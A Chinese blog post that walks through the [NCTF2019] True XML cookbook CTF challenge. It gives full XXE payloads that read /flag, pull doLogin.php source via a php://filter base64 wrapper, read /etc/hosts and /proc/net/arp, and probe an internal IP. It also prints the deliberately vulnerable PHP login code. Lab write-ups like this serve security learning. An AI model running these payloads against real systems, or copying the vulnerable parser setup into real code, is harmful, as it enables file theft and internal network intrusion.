[NCTF2019]True XML cookbook

最新推荐文章于 2024-02-21 23:23:34 发布

超级兵_140

最新推荐文章于 2024-02-21 23:23:34 发布

阅读量497

点赞数

分类专栏： BUUCTF 文章标签： xml web安全

本文链接：https://blog.csdn.net/Yb_140/article/details/127773225

版权

BUUCTF 专栏收录该内容

99 篇文章 0 订阅

订阅专栏

之前做过类似的题

XXE

直接读取根目录的flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

报错了

在这里插入图片描述

爆出了绝对路径

读一下doLogin.php的源码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///var/www/html/doLogin.php">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

在这里插入图片描述

读取不了，换个协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

在这里插入图片描述

得到

PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQQVNTV09SRCA9ICcwMjRiODc5MzFhMDNmNzM4ZmZmNjY5M2NlMGE3OGM4OCc7IC8v5a+G56CBCiRyZXN1bHQgPSBudWxsOwoKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiR4bWxmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7Cgp0cnl7CgkkZG9tID0gbmV3IERPTURvY3VtZW50KCk7CgkkZG9tLT5sb2FkWE1MKCR4bWxmaWxlLCBMSUJYTUxfTk9FTlQgfCBMSUJYTUxfRFRETE9BRCk7CgkkY3JlZHMgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCgkkdXNlcm5hbWUgPSAkY3JlZHMtPnVzZXJuYW1lOwoJJHBhc3N3b3JkID0gJGNyZWRzLT5wYXNzd29yZDsKCglpZigkdXNlcm5hbWUgPT0gJFVTRVJOQU1FICYmICRwYXNzd29yZCA9PSAkUEFTU1dPUkQpewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDEsJHVzZXJuYW1lKTsKCX1lbHNlewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDAsJHVzZXJuYW1lKTsKCX0JCn1jYXRjaChFeGNlcHRpb24gJGUpewoJJHJlc3VsdCA9IHNwcmludGYoIjxyZXN1bHQ+PGNvZGU+JWQ8L2NvZGU+PG1zZz4lczwvbXNnPjwvcmVzdWx0PiIsMywkZS0+Z2V0TWVzc2FnZSgpKTsKfQoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwplY2hvICRyZXN1bHQ7Cj8+

base64解码得到

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

看到有个账号密码，登录上去

登录之后啥也没有

使用XXE探测内网存活主机，我们分别读取关键文件：/etc/hosts 和 /proc/net/arp：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///etc/hosts">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///proc/net/arp">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

在这里插入图片描述

访问

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "http://10.128.253.12">
]>
<user>
	<username>
	&xee;
	</username>
	<password>
	123123
	</password>
</user>

发包然后发现回显有报错

扫一下c段

在这里插入图片描述